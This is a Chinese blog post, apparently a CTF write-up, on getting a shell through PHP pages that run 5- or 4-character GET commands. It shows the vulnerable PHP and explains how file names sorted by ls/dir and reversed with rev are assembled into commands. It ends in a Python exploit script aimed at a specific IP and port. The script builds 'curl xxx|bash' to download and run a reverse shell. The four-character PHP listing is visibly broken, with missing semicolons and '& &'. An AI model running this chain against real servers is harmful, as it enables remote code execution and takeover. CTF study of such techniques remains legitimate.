四字符五字符getshell

参考

五字符

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

每次输入5字符以内的命令并执行
linux中命令可以拆分成多行
并将这些拆分的命令构成文件名
用ls命令将这些文件名(命令执行结果)写入文件,执行文件即可执行命令

四字符

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR'])
 
    @mkdir($sandbox)
    @chdir($sandbox)
    if (isset($_GET['cmd']) & & strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd'])
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox)
    }
    highlight_file(__FILE__)

四字符可以利用dir代替ls命令,*的作用是将上一个命令执行的结果进行匹配并执行
rev命令是反向输出文件每一行
反弹shell

这里借鉴一个学弟的题解

<=4

  1. dir命令作为ls命令的别名
  2. *命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash执行,如下图,但是如果有写不是命令的话就会出现command not found的报错,这样一来我们就可一利用dir加上*命令去执行写入文件的操作
  3. 利用rev命令去反向文件的字符串,如果不多加h的话在你行dir的时候按字母排序字母t比s更靠后,放进v文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g
  4. 反弹shell
import requests
from time import sleep
from urllib.parse import quote

payload = [
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    '>rev',
    '*v>x',


    '>ash', 
    '>b\\', 
    '>\|\\',
    '>p\\',
    '>to\\', 
    '>u.\\',
    '>y\\', 
    '>eo\\', 
    '>th\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # got shell
    'sh x', 
    'sh g', 
]


r = requests.get('http://219.219.61.234:50051/?reset=1')
for i in payload:
    assert len(i) <= 4
    r = requests.get('http://219.219.61.234:50051/?rce=' + quote(i) )
    print (i)
    sleep(0.1)

V文件内容

g>  ht-  sl

X文件内容

ls  -th  >g

g文件内容

g
cu\
rl\
 \
th\
eo\
y\
u.\
to\
p\
|\
b\
ash
x
rev
v
ht-
g>
sl
dir

执行g的时候会找不到命令,不影响执行
执行:

curl xxx|bash

xxx为一个域名,网站可以放一个反弹shell命令
这样就可以得到shell

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值